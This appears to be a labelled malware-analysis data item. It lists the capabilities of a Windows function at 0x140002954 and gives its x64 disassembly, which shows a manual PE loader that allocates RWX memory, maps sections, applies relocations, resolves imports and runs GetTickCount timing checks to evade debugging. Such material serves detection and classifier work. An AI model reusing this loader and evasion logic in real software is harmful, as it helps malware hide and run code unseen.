Function at 0x140002954
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd rsi, dword [rcx + 0x3c]
xor ebx, ebx
add rsi, rcx
mov rbp, rcx
cmp dword [rsi], 0x4550
je 0x140002995
lea rdx, [0x140001630]
call fcn.140002758
jmp 0x140002bda
mov edx, dword [rsi + 0x50]
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x1400029d4
lea rdx, [0x140001640]
call fcn.140002758
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea r8d, [rdi + 0xa]
call fcn.1400026b4
jmp 0x140002bda
mov r8d, dword [rsi + 0x54]
mov rdx, rbp
mov rcx, rdi
call qword [0x140007038]
movzx eax, word [rsi + 0x14]
lea rcx, [rsi + 0x18]
add rcx, rax
cmp bx, word [rsi + 6]
jae 0x140002a21
movzx esi, word [rsi + 6]
lea r14, [rcx + 0x28]
cmp dword [rcx + 0x14], ebx
je 0x140002a18
mov edx, dword [rcx + 0x14]
mov r8d, dword [rcx + 0x10]
add rdx, rbp
mov ecx, dword [rcx + 0xc]
add rcx, rdi
call qword [0x140007038]
mov rcx, r14
sub rsi, 1
jne 0x1400029f9
movsxd rbp, dword [rdi + 0x3c]
add rbp, rdi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x140007080]
cmp eax, 0x7fff
ja 0x140002bdf
mov r8d, dword [rbp + 0xb4]
test r8d, r8d
je 0x140002aa6
mov ecx, dword [rbp + 0xb0]
mov r10, rdi
sub r10, qword [rbp + 0x30]
add rcx, rdi
mov esi, dword [rcx]
lea r11, [rcx + 4]
mov edx, dword [r11]
lea rcx, [rcx + 8]
sub edx, 8
je 0x140002aa1
movzx r9d, word [rcx]
mov eax, r9d
shr eax, 0xc
test eax, eax
je 0x140002a98
cmp eax, 0xa
jne 0x140002b13
and r9d, 0xfff
add r9d, esi
add qword [r9 + rdi], r10
add rcx, 2
add edx, 0xfffffffe
jne 0x140002a73
sub r8d, dword [r11]
jne 0x140002a61
cmp dword [rbp + 0x94], ebx
je 0x140002ba7
mov esi, dword [rbp + 0x90]
add rsi, rdi
je 0x140002ba7
mov eax, dword [rsi + 0xc]
test eax, eax
je 0x140002ba7
mov r14d, eax
add r14, rdi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x140007080]
cmp eax, 0x7fff
ja 0x140002bdf
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r13, rax
test rax, rax
je 0x140002b9b
mov r14d, dword [rsi]
mov r15d, dword [rsi + 0x10]
add r14, rdi
add r15, rdi
jmp 0x140002b7e
lea rdx, [0x140001658]
jmp 0x14000298b
mov rdx, rbx
movzx r12d, bx
test rcx, rcx
js 0x140002b4e
add rcx, 2
add rcx, rdi
mov qword [rsp + 0x28], rcx
call qword [0x140007028]
mov word [rsp + 0x20], ax
lea rdx, [rsp + 0x20]
mov word [rsp + 0x22], ax
jmp 0x140002b52
movzx r12d, word [r14]
movzx r8d, r12w
lea r9, [rsp + 0x60]
mov rcx, r13
mov qword [rsp + 0x60], rbx
call qword [0x140007068]
mov rax, qword [rsp + 0x60]
test rax, rax
je 0x140002b8f
add r14, 8
mov qword [r15], rax
add r15, 8
mov rcx, qword [r14]
test rcx, rcx
jne 0x140002b1f
add rsi, 0x14
jmp 0x140002ac1
lea rdx, [0x140001678]
jmp 0x14000298b
lea rdx, [0x140001668]
jmp 0x14000298b
mov r8d, dword [rbp + 0xa0]
test r8d, r8d
je 0x140002bd7
mov ecx, dword [rbp + 0xa4]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
lea rcx, [rdi + r8]
mov r8, rdi
shr rdx, 3
call qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov rbx, rdi
mov rax, rbx
jmp 0x140002be1
xor eax, eax
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret